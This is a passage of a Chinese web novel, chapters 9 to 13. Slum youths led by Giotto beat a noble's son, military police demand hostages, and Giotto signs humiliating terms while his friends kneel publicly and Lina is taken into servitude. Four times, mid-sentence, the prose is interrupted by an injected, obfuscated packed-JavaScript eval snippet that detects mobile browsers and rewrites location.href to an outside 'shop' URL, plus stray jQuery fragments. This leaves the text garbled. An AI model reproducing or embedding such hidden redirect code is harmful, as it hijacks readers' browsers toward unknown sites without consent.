“我们……”G的声音发紧。 “动手。”乔托的声音像断掉的炭条一样干涩。 话音未落，埋伏在巷子里的人们像蓄势待发的狼群猛地从黑暗里冲了出去，压抑已久的怒火在这一刻彻底爆发。 后来乔托回忆这一刻，记忆是破碎的，只剩下塞弗诺拉的怒吼声，铁管砸在肉//体上闷响，他自己的拳头击中马尔科下颌时传来的反作用力。 混战中他抬了下头，月光冷冷的照出马尔科惊恐扭曲的脸。两人的目光极短地碰了一瞬，一边是震惊与恐惧，一边是冰冷和决绝。 “贫民窟的杂种！”马尔科尖叫着，“你知道我是谁吗？！” 乔托的眼中闪过一丝怒火，想要再次冲过去，却被塞弗诺拉抢在了前面。他眼神狠戾，一脚踹在马尔科的肋骨上。 清晰的骨裂声在巷子里荡开。 乔托胃里一紧。 不知何时，雨彻底停了，风从港口的方向吹过来，带着鱼腥味和垃圾的臭气。 乔托僵硬地站着，周围的动静渐渐平息，只剩粗重的喘息和几声压抑的呻吟。 他低头看着自己的掌心，炭黑被不知是谁的血盖住了。他知道，有些事情和这场雨一样，再也回不来了。 9. 第 9 章 黑巷的积水还没有干透，浑浊的泥浆里那摊暗红色的血迹像一只扭曲的眼睛，冷冷地瞪着每个路过巷口的人。 乔托整夜未眠，蜷缩在漏风的卧室里，听着不时有水滴敲打屋顶的声响。那清脆的声音在他耳中与昨夜踩在马尔科肋骨上的闷响重叠，久久挥之不去。 黎明时分，贫民窟的野猫叫得格外凄厉。 正午的阳光刺破云层，将泥泞的街道晒出蒸腾的土腥味。 他们就是这个时候来的。 两个身穿宪兵制服的男人不紧不慢地走来。深色外套烫得笔挺，腰间的皮枪套随着步伐轻轻晃动，自带一股生人勿近的威严。 G最先瞥见了这两道突兀的身影。他正蹲在门口补一只破木桶，攥着铁锤的手刚举到半空，动作就僵住了，眼神里满是警惕。 “乔托。”他低声喊道，声音绷得紧紧的。 乔托闻声从昏暗的屋里探出身来，刚巧对上为首的宪兵的目光。那眼神里没有任何情绪波动，只有一种冰冷的审视，仿佛在打量砧板上待宰的牲畜。 这种毫无温度的注视，比马尔科的羞辱更令人心悸，让乔托瞬间脊背发凉。 他们的脚步没停，径直走向乔托家那扇吱呀作响的木门。 “等等——” 乔托刚刚开口，为首的宪兵就抬起了脚。 包铁的靴跟精准地踹在门板最脆弱的榫卯处，“咔嚓”一声爆响，朽烂的木门朝内轰然倒下，扬起大片的灰尘。 乔托被门板倒塌的冲击力带倒在地，后脑重重撞在坚硬的夯土地面上，一阵眩晕袭来，眼前金星乱窜。 他咬牙想爬起来，一只沉重的靴子踩住了他的胸口，力道不致命，却刚好把他钉在地上，只能瞪着对方冰冷的靴底。 屋顶传来瓦片滑动的声音。 是塞弗诺拉在逃跑。他从自家屋顶跳向隔壁，动作快得像只山猫。乔托瞥见他弓身奔跑的背影，在烈日下投下一道短暂的影子。 第二个宪兵举起了枪。 乔托心里一紧，下意识想喊“别开枪”，但喉咙像被什么堵住了，发不出任何声音。 世界在那一瞬间仿佛被按下了慢放键，宪兵面无表情地平稳举枪，手指缓缓扣动扳机，枪口在一瞬间喷出一团白色的烟雾，裹挟着死亡的气息。 “砰——” 枪声在狭窄逼仄的巷道间骤然炸开，震得人耳膜生疼。 子弹打在塞弗诺拉脚边不足一尺的位置，溅起的碎石土块打在他的小腿上。塞弗诺拉僵住了，半蹲在屋顶边缘，像一尊突然被定住的雕像。 整个贫民窟陷入了死寂。 刚才还隐约可闻的婴儿啼哭、谈话声、锤子敲打的声音全都消失了，只有那声枪响的回音在低矮房屋之间来回游荡。 为首的宪兵挪开了踩在乔托胸口的脚，环顾四周，一扇扇半开的门后，破窗户的缝隙里，无数双惊恐的眼睛正望出来。 “袭击贵族家属，”他开口了，声音平直，没有一丝波动，“按律可当场击毙。” 他故意停顿了几秒，让这句话沉进每个人的耳朵里，化成钻心的恐惧。 “但老爷仁慈，”宪兵继续说，嘴角有了一丝几乎看不见的弧度，那弧度里没有温度，只有一种掌控他人生死的从容与傲慢，“只要交出三个人，动手的两个，还有那个出主意的小顾问。” 他的目光落在乔托的脸上，停了停。 “再加上那个女孩，莉娜·贝洛蒂。”他又淡淡地补充了一句，语气随意，仿佛只是临时想起一件无关紧要的小事，却瞬间击碎了莉娜一家最后的希望。 巷子尽头，莉娜家的门轻轻晃动了一下，随即被一只颤抖的手从里面死死拉住。 “否则，”他说，声音不大，每个字都像钉子钉进人心底，“就所有人都上法庭，绞刑，或者矿场苦役——”他顿了顿，目光扫过屋顶上的塞弗诺拉，扫过G攥紧的拳头，扫过每一扇门后的阴影，“活不过三个月的那种。” 沉默。 连风都停了。贫民窟从来没有这么安静过，没有鸡鸣，没有犬吠，没有人声，只有正午的阳光炙烤着湿漉漉的大地，蒸腾起的热浪让远处的景物微微扭曲。 乔托从地上爬起来，膝盖发软。 为首的宪兵从外套内袋里掏出一块怀表，打开看了看。 “明天日落前，把人带到仓库门口，四个人，一个都不能少。” 说完，他收起怀表，转身，两个人一前一后，头也不回地离开了，靴子在泥地上踩出深深的印子。 直到那两道深色的身影彻底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218860|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消失在巷口，贫民窟才重新开始呼吸。 第一声是莉娜母亲压抑的啜泣，呜咽声从喉咙里挤出来，浸满了绝望。接着是老贝内蒂瘫坐在门槛上的闷响。随后，各种声音汹涌而来：女人的哭声、男人的叫骂、急促的脚步声、孩子们被捂住嘴的闷哼……整条街乱成一团。 G第一个冲破混乱的人群，冲到乔托身边，伸手扶住他摇摇欲坠的身体，眼神里满是担忧。 草药婆婆提着破旧的药箱跑过来，颤抖着手清理伤口。 “骨头没碎，”婆婆喃喃道，更像是说给自己听的，“但得上点药……老天，这世道……” 乔托半跪着，看着地上散落的木片。它们像一张张咧开的嘴，在嘲笑他所有的天真。 他曾经以为找到了对抗世界的办法，用智慧解读规则，用团结凝聚力量，甚至用暴力对抗压迫。但现在他明白了，在绝对的权力面前，这些都不过是纸糊的盾牌，一戳就破。 塞弗诺拉趁乱从屋顶慢慢爬了下来，裤腿被碎石划破，小腿上有一道血痕，他却好像没有感觉。 他走到乔托面前，脸色阴沉的像块石头，眼神里满是愧疚与决绝。 “是我的错。”他说，“我踢的太重了，该我去。” “不，”G抬起头，眼睛血红，“是我们一起决定的，我们都在场。” “但主意是乔托出的。”一个声音从人群后面传来。 说话的是面包匠的妻子，她抱着怀里年幼的孩子，把脸藏在襁褓的阴影里，声音带着颤抖，又透露着一丝不易察觉的怨怼：“要是没有乔托出主意，我们没有动手打人……也许马尔科只是想要钱，也许事情不会变成现在这个样子……” “闭嘴！”G吼道，“现在说这些有什么用！” “怎么没用！”住在巷尾的老木匠立刻接话。他拄着拐杖，脸色惨白，“至少得弄清楚，是谁把大伙儿拖进这趟浑水，弄到这种绝境的！” 人群瞬间骚动起来，窃窃私语的声音像瘟疫一样快速蔓延，逐渐弥漫到整个巷子里。 乔托抬起头，看着眼前一张张熟悉的面孔。几个小时前，他们还在废弃磨坊里同仇敌忾，发誓要一起对抗马尔科的欺凌，可现在，这些脸上却写满了恐惧、犹豫，还有逐渐滋生的对他的怨怼，令人心寒。 10. 第 10 章 “够了！” G站起来，挡在乔托和人群之间：“要交人？可以。塞弗诺拉一个，我一个。我们动手的，我们承认。” “那女孩呢？”有人小声问。 沉默再次降临。 莉娜家的门开了。老贝内蒂搀扶着妻子走出来，莉娜跟在他们身后，脸色惨白，毫无血色。她的身体在粗糙的衣裙下微微颤抖着，眼睛里有一种让乔托心惊的、好像看破了一切的、认命一般的清明。 “我去。”莉娜轻声说，“我本来就是他们要的。” “不行！”她母亲尖叫起来，死死抓住女儿的手臂，“你不能去！那会、那会毁了你的！” “我已经毁了。”莉娜说，眼睛看着乔托，“从马尔科盯上我的那一天起，我就毁了。” 乔托下意识地避开了她的目光，胃里一阵翻腾，酸苦的液体不断涌上喉咙，又被他强行咽了回去。 他想起自己当初去拉涅利家谈判时的故作自信，想起在磨坊里规划伏击时的冷静从容。那时的他以为自己是棋局的掌控者，直到此刻才明白，所谓的棋局从一开始就被别人牢牢掌控着，他和所有人都不过是别人棋盘上的棋子。 “还差一个人。”面包匠的妻子又开口了，这次的声音比刚才还大了些，带着一丝刻意的煽动，“小顾问乔托，他是出主意的人，他理应去。” 所有的目光都转向乔托。 G和塞弗诺拉几乎同时侧身挡在乔托身前，眼睛警惕地盯着众人，不让任何人靠近。 乔托却轻轻推开了他们的手臂，缓缓站起身，膝盖依旧发软，却凭着一股韧劲儿强迫自己挺直了脊背，稳稳地站在那里。 他的目光扫过眼前的人群，这些都是他从小认识的邻居，是他曾经以为可以凝聚起来，共同对抗不公的伙伴。可现在，他们眼中只剩下赤裸裸的求生本能，那种本能压倒了一切，包括刚刚在磨坊里萌芽的团结和勇气，留下的只有自私的算计和恐惧。 “我去。”他说。 “不行！”G抓住他的肩膀，“你疯了？他们会——” “会杀了我？也许。”乔托打断了他的话，声音平静却坚定，“但如果我们不交出人，他们会毁了整条街，法庭、苦役，这不是威胁，G，他们会做到的。” “可是……”塞弗诺拉咬着牙，“这样我们就输了，彻底地输了。” “不，我们还没有输。”乔托摇了摇头，一个模糊的念头在他混乱的脑海中缓缓成型，像是黑暗中燃起的一点磷火，微弱却明亮，“我们只是换了个战场。” 他迈步走到人群中央，目光一一扫过那些躲闪的眼睛：“明天日落前，我们四个人会一起去拉涅利家的仓库门口。但你们记住，今天他们敢一脚踹开我的门，敢踩在我的胸口，今天他们敢用枪指着塞弗诺拉的脑袋，今天他们敢像赶牲口一样要我们交出自己的家人和邻居。” 他的声音不高，但每一个字都像烧红的烙铁，烙在午后的空气里，也烙在每个人的心上。 “记住这种感觉。”乔托继续说，“记住当我们团结起来的时候，可以打断马尔科的鼻梁，也记住当我们害怕的时候，连自己的邻居都保护不了。” 人群再次陷入沉默，刚才的怨怼和骚动渐渐平息，有人羞愧地低下了头，不敢再看乔托的眼睛，有人偷偷擦着眼角的泪水，脸上满是愧疚和无奈。 乔托又转头看向莉娜，那个十六岁的少女依然站在那里，脊背挺得笔直，眼神冰凉麻木，仿佛已经做好了赴死的准备，没有丝毫的退缩。 “明天日落前，”乔托看着她，语气郑重地说，“我们会一起过去。但你要记住，只要还有一口气在，这场战争就还没有结束，我们就还有机会。” 莉娜看着他，慢慢地点了点头。 正午的阳光渐渐向西倾斜，在贫民窟低矮的屋顶上投下一道道长长的影子，那些影子相互交错重叠，像无数道无形的栅栏，将生活在这里的人们牢牢困住，让他们喘不过气来。 乔托抬头看了看天色，心中默默盘算着时间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218861|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有一天。 一天的时间，足够恐惧在人群中疯狂发酵，足够仅存的勇气彻底溃散，也足够一个全新的、坚定的决心，从绝望的灰烬中重新燃起，照亮前路。 G扶着乔托，慢慢走进昏暗的屋内，草药婆婆提着药箱跟在后面，准备为他和塞弗诺拉处理伤口。进门之前，乔托忍不住回头看了一眼巷子，人们还站在原地，神情麻木而茫然，像一群被龙卷风吹得东倒西歪的稻草人，失去了方向。 “你成了他们需要仰望的人。”草药婆婆突然说，她正在药箱里翻找干净的布条，“但仰望一个人和为他去死，是两回事。” 乔托没有回答。 一天。 他还有一天的时间，来想清楚一个至关重要的问题。当游戏规则是别人制定的，当博弈的棋盘是别人摆好的，当摆在面前的唯一选项只有跪下屈服或者彻底死亡时，他该如何破局，如何带着莉娜、G和塞弗诺拉活下去？ 屋外再次传来莉娜母亲压抑的哭声，那哭声细细的、绵绵的，带着无尽的悲凉，像一根无形的线，缠绕在贫民窟的每一个角落，也缠绕在每一颗被恐惧攥紧的心上，挥之不去。 乔托闭上了眼睛。 黑暗中，他看见马尔科·拉涅利浮肿的脸，看见宪兵空洞的眼神，看见枪口喷出的白烟。 他还看见了别的画面，戴蒙书房里那些排列整齐的精装书脊，那些关于战争、策略与权谋的篇章。曾经那些文字对于贫民窟的乔托来说是遥不可及的存在，可现在，它们却像黑暗中缓缓浮现的符文，闪烁着微光，等待着他去解读，去运用。 乔托猛地睁开眼睛，眼中褪去了之前的迷茫与绝望，多了几分坚定。他对正在收拾药箱的草药婆婆轻声说：“婆婆，能帮我找些纸吗？不用太好，最便宜的那种就行。” 夕阳渐渐下沉，屋顶的影子被拉得越来越长，像潮水一样蔓延，好像终将会吞没整个贫民窟，吞没所有的恐惧与挣扎。 但在那之前，还有些事情必须得想明白。 11. 第 11 章 乔托在破晓前离开了家，避开了所有人的视线，包括G和塞弗诺拉。他穿过熟悉的小巷，踩着积水，每一步都像走向断头台。 安东尼奥约定的地点在老橡树酒馆的后巷。那是个连贫民窟最落魄的酒鬼都嫌弃的地方，堆满腐烂菜叶和空酒桶，老鼠在阴影中簌簌穿行。 乔托到的时候，老人已经在那儿了。 安东尼奥在拉涅利管事家侍奉了四十年，算是仆人家的仆人。他的背弯成一个巨大的问号，仿佛一生都在向权力、向命运这些看不见的东西鞠躬妥协。 “孩子，”安东尼奥先开了口，声音沙哑，带着隐秘的担忧，“你不该来。” “我还有选择吗？”乔托问。清晨的寒气裹着他的声音，吐出的字句瞬间凝结成细小的白雾，在两人之间缓缓消散。 安东尼奥没有直接回答。他从怀里掏出个扁酒壶抿了一口，然后递给乔托。 乔托摇头。 “马尔科少爷他……”老人顿了顿，枯瘦的手指摩挲着酒壶的边缘，像是在斟酌最稳妥的措辞，半晌才缓缓开口，“他要的不是莉娜那个女孩，至少不全是。” “那他要什么？” “面子。”老人吐出这个词，“你们当众打了他，在黑巷里，像打一条野狗。这事儿传开了，商人们吃饭时在笑，他那些‘朋友’也在笑。他虽然是管事的儿子，可打狗也要看主人，拉涅利家丢不起这个脸。” 乔托抬眼望向巷口，天际已经泛起微弱的鱼肚白，天光正在一点点驱散黑暗，却照不进这巷尾的污秽。他轻声问：“所以莉娜对他来说，根本不重要？” “玩几个月就腻了。”安东尼奥的声音里没有丝毫波澜，只是在陈述一个既定事实，平淡得像是在说“明天下雨”一样的寻常，“可面子这个东西，他必须现在就讨回来，立刻，马上，不能等。” “如果我们不给他这个面子？” 安东尼奥终于抬眼看向乔托，那双深陷在眼窝里的眼睛，在微弱的晨光中浑浊得像一滩死水。 “那就不是交出四个人就能了结的了。那些老爷们为了维护所谓的体面，什么狠事都做得出来。他们会把整个贫民窟翻个底朝天，揪出每一个和这件事沾边的人，然后——” 他做了个绞索收紧的手势。 “或者送去矿场。你知道西边的银矿吗？下去的人平均活不过三个月。” 乔托沉默了。他知道老人没有撒谎，他甚至差点亲自经手过类似的事，整村整村的人因为“叛乱”被清空，文书上只用一行字记载。 “他愿意见我？”乔托最后问。 安东尼奥点点头：“后院的杂物间。中午。只准你一个人。” “条件呢？” “去了才知道。”老人把酒壶收起来，背似乎更弯了一些，“但记住，孩子，谈判的桌子从来不是平的，一边高，一边低。你在低的那边。” 正午的阳光透过杂物间高高的气窗，切割出几道倾斜的光柱，灰尘在光柱中飞舞，像无数微小的、挣扎的生命。 马尔科坐在一张旧木桌后面，不是他办公室那张气派的桌子，而是仆人用的工作台。他的鼻梁上贴着一大块发黄的膏药，眼睛下面淤青发紫，眼神里的怨毒比那晚更浓。 乔托走进来的时候，两个护卫站在门内两侧，手按在枪套上。 “啊，这不是我们的小顾问吗？”马尔科开口，声音因为鼻梁的伤势而变得闷钝浑浊，可语气里的讽刺与嘲弄却丝毫不减，“怎么？这次终于学会敲门了？不像上次，在黑巷里连招呼都不打就动手。” 乔托没有说话。他打量着这个房间，堆着的破家具、旧工具、发霉的麻袋。这是拉涅利家的背面，光鲜宅邸的阴暗角落。 “坐。”马尔科示意对面那张三条腿的凳子。第四条腿用砖块垫着。 乔托缓缓坐下，凳子立刻剧烈摇晃一下。他迅速用脚掌撑住地面稳住身体，双手紧紧放在膝盖上，指尖用力到泛白，拼命压抑着因为愤怒与屈辱而微微颤抖的身体。 “首先，”马尔科倾身向前，手肘撑在桌面上，“你承认你们袭击了我？无缘无故的，在黑巷里伏击？” 乔托看着他的眼睛：“莉娜·贝洛蒂的事——” “我是在问你承不承认袭击！”马尔科突然提高音量，震得桌面上的灰尘微微扬起。 沉默在两人之间蔓延，光柱中的灰尘旋转着，像一场微型风暴。 “我承认。”乔托最终说。 马尔科满意地靠回身后的椅子里，椅背发出一声沉闷的声响。他舔了舔干裂的嘴唇，语气带着胜利者的傲慢：“很好。既然承认了，那我们就来谈谈赔偿的事。” 他从抽屉里抽出一张纸，还有羽毛笔和墨水瓶。他用一方细棉布手帕慢条斯理地擦了擦笔尖，然后才蘸入墨水，书写时手腕悬空，用的是一种花哨的字体，每一笔转折都刻意地拉长。 “第一条，”他一边写一边念，羽毛笔刮擦纸张的“沙沙”声，在寂静的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218862|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂物间里显得格外刺耳，“动手打我的那两个人，G和塞弗诺拉，要在拉涅利家仓库的门口当众道歉，必须跪着，跪满半小时，让所有人都看见。” 乔托的手在桌下死死攥着，指甲深深陷入掌心，尖锐的疼痛让他勉强保持清醒。 “第二条，”马尔科继续写，没有抬头，“莉娜·贝洛蒂自愿签署三年仆役契约，即刻生效。” “三年——” “打断别人说话可是很不礼貌的，”马尔科抬起眼睛，膏药下的嘴角扭曲出一个笑容，“尤其是当你在请求宽恕的时候。” 乔托闭上嘴。他想起安东尼奥的话，谈判的桌子从来不是平的。 “第三条，”羽毛笔继续在纸上滑动，“你们要赔偿我一百杜卡托的精神损失费和医药费，给你们三天时间凑齐，少一个子儿都不行。” 乔托的呼吸一滞。一百个杜卡托，整条街半年的余粮。这意味着在接下来青黄不接的冬春之际，会有人饿死，会有人因为买不起药而病死。 “至于你，”马尔科缓缓俯身，声音压得极低，像毒蛇吐信时的嘶鸣，带着深深的恶意，“我要你亲自看着这一切。站在人群的最前面看着你的朋友下跪道歉，看着莉娜被带走，看着你的邻居们为了凑钱砸锅卖铁。我要你牢牢地记住这一天，记住每一个细节，记住你们这些老鼠就该待在自己的洞里，别妄想着爬到台面上来。” 他退后一些，展开那张写满条件的纸。 “同意吗？” 乔托看着那张纸，墨迹还没有完全干透，在光线下微微反着光。他想起G脸上的伤口，想起塞弗诺拉僵在屋顶的身影，想起莉娜空茫绝望的眼神。 他想起戴蒙书房里那些决定佃农生死的批文，那些轻描淡写的“准”、“驳回”、“查办”，只有几个字，背后却是无数像他此刻一样的人，跪在不平等的谈判桌前，吞咽着屈辱与痛苦，像吞着烧红的炭，连反抗的资格都没有。 “我同意。”乔托说。 只有三个字，却字字带血，像是从喉咙里撕扯出来的血肉。 马尔科的笑容扩大了，他把纸推过来，羽毛笔塞进乔托的手里。 “签字吧。” 乔托拿起笔，笔杆冰凉。他再次看向纸上的条款，那些优雅华丽的花体字，每一个都在标注着尊严的价码：一百杜卡托，三十分钟的公开道歉，还有莉娜三年的奴役生涯。 他签下自己的名字，笔迹颤抖，歪歪扭扭的，像一条垂死的虫。 12. 第 12 章 日落时分，仓库门口聚集的人比想象的还要多。 消息像瘟疫一样传遍了半个城区。集市上的小贩草草收了摊，攥着钱袋挤入人群；作坊里的学徒趁着工头不注意溜了出来，满脸兴奋；提着菜篮的家庭主妇们忘了回家做饭，站在人群外围踮着脚张望。 人类对他人苦难的猎奇心，从来都能轻易战胜柴米油盐的日常琐碎。 仓库前的空地被清空了一片，马尔科坐在搬出来的扶手椅上，腿上搭着毛毯。他的左右站着四个带着枪的护卫，枪口若有若无地对着人群。 当G和塞弗诺拉被押出来的时候，围观的人群静了一瞬，随即响起低低的骚动。窃窃私语和倒抽冷气的声音混在一起，像潮水漫过空地。 G脸上那道伏击中受的伤还在渗血。草药婆婆之前简单处理过，但血痂在这两天的动作中又裂开了。血顺着脸颊流下来，一滴一滴落在胸前的粗布衣领上。 他走到空地中央，停下。 护卫指了指地面。 G缓缓闭上眼睛，长长的睫毛在眼下投出一道阴影。乔托清晰地看见他的喉结用力滚动了一下，垂在身侧的手死死攥成拳头，指甲几乎要掐破掌心。 片刻的僵持后，他的膝盖缓缓弯曲，最终跪在了冰冷的石板上。 那一跪很轻，几乎没有声音。 但在乔托的耳中，却像山崩一样震耳欲聋。 塞弗诺拉不肯跪。 这个性子倔强的少年，膝盖仿佛是用烧红的钢铁铸成的，不肯向强权弯下分毫。两个护卫一左一右架住他的胳膊，用力按压他的肩膀，塞弗诺拉弓着身子奋力抵抗，手臂和脊背的肌肉在单薄的布衫下绷紧，硬得像块石头。 “给我跪下！”左边的护卫恼了，抬起皮靴狠狠踢在他的膝窝。 塞弗诺拉疼得闷哼一声，单膝磕在石板上，发出一声闷响。但他没有屈服，立刻想站直。 右边的护卫上前一步，两人一起把全身重量压在他肩上，逼他低头。 骨头发出不堪重负的声响，塞弗诺拉的脸涨成紫红色，额头上青筋暴起，汗水混着尘土流进眼睛，刺得他生疼，却依旧不肯眨一下眼。 他死死盯着脚下的石板，眼神凶得像是要瞪穿地面。 最终，在两人的合力压制下，他还是跪了下去，但脊背依然挺得笔直，头颅高高昂起，眼睛望着天空中某个看不见的虚空一点，没有丝毫卑微。 三十分钟。 旁边的护卫掏出怀表，打开表盖开始计时。秒针“滴答、滴答”地跳动，在这边诡异的寂静中被无限放大，每一声都像一记重锤，砸在乔托的心上。 他被迫站在马尔科指定的人群最前面，像个示众的展品，身后投来的目光复杂多样，有隐晦的同情，有直白的好奇，有幸灾乐祸，更多的是事不关己的冷漠。 他看见G跪在那里，血滴在石板上汇成小小的暗红色水洼；他看见塞弗诺拉僵硬的脊背，在轻轻地颤抖。 每一秒都像一个世纪。 时间仿佛被无形的手拉长、扭曲，每一个瞬间都变得无比漫长，每一帧画面都清晰地烙进乔托的记忆深处：石板缝隙里钻出的枯草，远处屋顶上停留的鸽子，护卫脸上百无聊赖的表情，马尔科慢条斯理修剪指甲的动作。 还有围观者的脸，那些陌生的面孔，或兴奋、或漠然、或窃笑，将他人的屈辱与痛苦当作一场难得的午后消遣，看得津津有味。 怀表指向最后三十秒时，莉娜被一个女仆带了出来，脚步虚浮，像是在被人架着走。 她换上了一身灰色的女仆裙，衣服不太合身，松松垮垮的挂在消瘦的肩膀上，头发草草梳到脑后，露出苍白得吓人的脸。她没有笑，也没有哭，两只眼睛空茫茫的，什么也没有。 护卫推了她一把。她踉跄几步，在G和塞弗诺拉面前站定。 马尔科抬手示意。 护卫收起怀表：“时间到。” G想站起来，但跪了半小时的腿已经麻木。他摇晃了一下，塞弗诺拉伸手扶了一下，两人相互支撑着慢慢站了起来。 莉娜缓缓回过头，空洞的目光在人群中搜索，越过一张张陌生的脸，最后落在乔托身上。 那一瞬间，乔托下意识地避开了她的目光。他以为会在那双眼睛里看见怨恨，那是他应得的，是他出了伏击的主意，是他带领大家反抗马尔科的欺凌，最后也是他，在谈判桌上签下了屈辱的条款，将所有人推向了深渊。 可莉娜的眼中没有怨恨，只有一片死寂的空旷。那绝望如此彻底，平静得没有一丝波澜，却比任何指责都锋利，像一柄尖刀扎进乔托的心脏。 她张了张嘴，没有发出声音，但口型很清楚： [照顾好我爸妈。] 然后她转过身，走向等在一旁的马车。 就在她转身的那一刻，乔托像终于被火柴点燃的潮湿火药，身体先于意识动了起来。 他没有思考，本能驱使他大步穿过空地，速度快得惊人，在护卫反应过来之前已经冲到了莉娜身边。他猛地从脖子上扯下带了很多年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218863|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的银质十字架，搭扣勒破后颈的皮肤，血珠渗了出来，他却感觉不到疼。 乔托把十字架塞进莉娜手里，连同链子一起，然后紧紧握住她的手。 “收好。”他凑到她耳边，声音又快又低，“贴身收好，别让人拿走。我会来找你，一定。我发誓。” 莉娜的手冰凉，在他的掌心微微颤抖。她低下头，看向那个小小的十字架，边缘早已摩挲得光滑，在夕阳余晖下反射着微弱的光。 然后她的眼泪终于掉了下来。 安静的，没有声音，只有大颗大颗的泪珠滚落，滴在十字架上，滴在乔托的手上。那眼泪滚烫，像融化的铅。 马尔科戏谑的冷笑声从身后传来，带着毫不掩饰的嘲讽与鄙夷：“感人，真是太感人了。可惜啊，再感人也改变不了什么。” 护卫上前粗鲁地分开他们的手。莉娜被推向马车，上车前，她最后回头看了一眼，看向贫民窟的方向，看向那片低矮破败的屋顶，那里有她的家，她的童年，她尚未开始就已经结束的人生。 车门关上，车夫挥鞭。 马车车轮碾过石板路的声音在日落的寂静里格外刺耳，缓慢、沉重，每一声都像碾在骨头上。声音渐行渐远，最后消失在街道的拐角。 夕阳完全沉下去了，天空从血红褪成暗紫，再褪成靛蓝，第一颗星星在东方亮起，闪着微弱而顽强的光。 围观的人群渐渐散去，三三两两的低声交谈着，意犹未尽，像是刚看完一场大戏。护卫收起枪，回到马尔科身边。马尔科从椅子上站起来，毯子滑落在地，他看也不看。 他特意绕到乔托面前停下，居高临下地打量着他，眼里满是胜利者的傲慢。 “记住今天。”他说。 然后他嗤笑一声，转身走进仓库。 大门在他身后关上，发出沉闷的撞击声。 G和塞弗诺拉一瘸一拐地走过来，三人在渐浓的暮色中站成一个小小的三角形，没有人说话，只有沉重的呼吸声在空地上清晰可闻。 远处贫民窟的方向亮起零星灯火，那些用劣质油脂点燃的灯，光线昏暗，在黑暗中挣扎不灭。 乔托抬头望向那些微弱的光点，胸口像是被掏空了一块，脖颈处曾经挂着十字架的地方，在夜风中感到一阵陌生的凉意，顺着脊柱蔓延至全身。 他的手掌中还残留着莉娜眼泪的温度，那滚烫正在一点点冷却，但在完全消失以前，早已渗进皮肤，融进血液，流向心脏所在的地方。 夜幕完全降临了。 13. 第 13 章 雨是从午夜开始下的。 起初只是淅淅沥沥地敲打着屋顶，像细小的鼓点，很快，鼓点连成一片，变成瀑布般的轰鸣。雨水从屋檐倾泻而下，在泥地上冲出蜿蜒的水沟，汇入本就肮脏的排水渠。 贫民窟的灯一盏接一盏熄灭，比平时早了整整两个小时。人们像受伤的动物蜷缩回漏雨的屋里，连呼吸声都放轻了。窗户被木板匆匆钉上，门后用重物抵住，整片区域沉入黑暗。 乔托爬上自家屋顶时，瓦片早已湿透打滑，他小心地挪到平缓处坐下，任由冷雨冲刷着全身。粗布制成的衣服瞬间湿透，寒意渗进骨头里，但他一动不动，仰着脸，让雨水打在脸上。 他摊开掌心，借着远处偶尔的闪电能看见那道浅浅的十字形印记。银链勒出的红痕已经消退，但十字架的轮廓仍然像烙在皮肤上一样存在着。 那是母亲留给他的最后念想，是每个难熬的夜晚他握在手心里的温暖。现在它在莉娜手中，在一个他发誓要救回却不知如何救的女孩手中。 一阵轻微的瓦片响动传来，G缓缓爬了上来，动作迟缓得像老人。他在乔托左边坐下，没有说话，额头缠的布条很快被雨水浸透，渗出淡淡的血色。草药婆婆说伤口不深，但需要静养，可这样的夜晚，谁又能真正静得下来？ 闪电又一次划过，照亮G的脸。乔托看见他眼睛里有什么东西碎了，密密麻麻的裂纹从瞳孔中心延伸到眼角，再也映不出完整的世界，只剩下破碎的绝望。 然后是塞弗诺拉。 他爬上屋顶的方式不像乔托的小心翼翼，也不像G的疲惫迟缓，反而带着一种压抑到极致的爆发。他抓住屋檐，手臂肌肉隆起，整个人几乎是跃上屋顶。他在乔托右边重重坐下，溅起一片水花。 他一言不发，只是盯着雨幕的深处。那里，拉涅利家的宅邸只剩模糊的轮廓，几扇窗户透出暖黄色的灯光，像挑衅的眼睛在黑暗中眨着。 塞弗诺拉的拳头在身侧反复握紧、松开，指节发出轻微的咔咔声。 时间在雨水中流淌。一分钟，十分钟，也许更久。 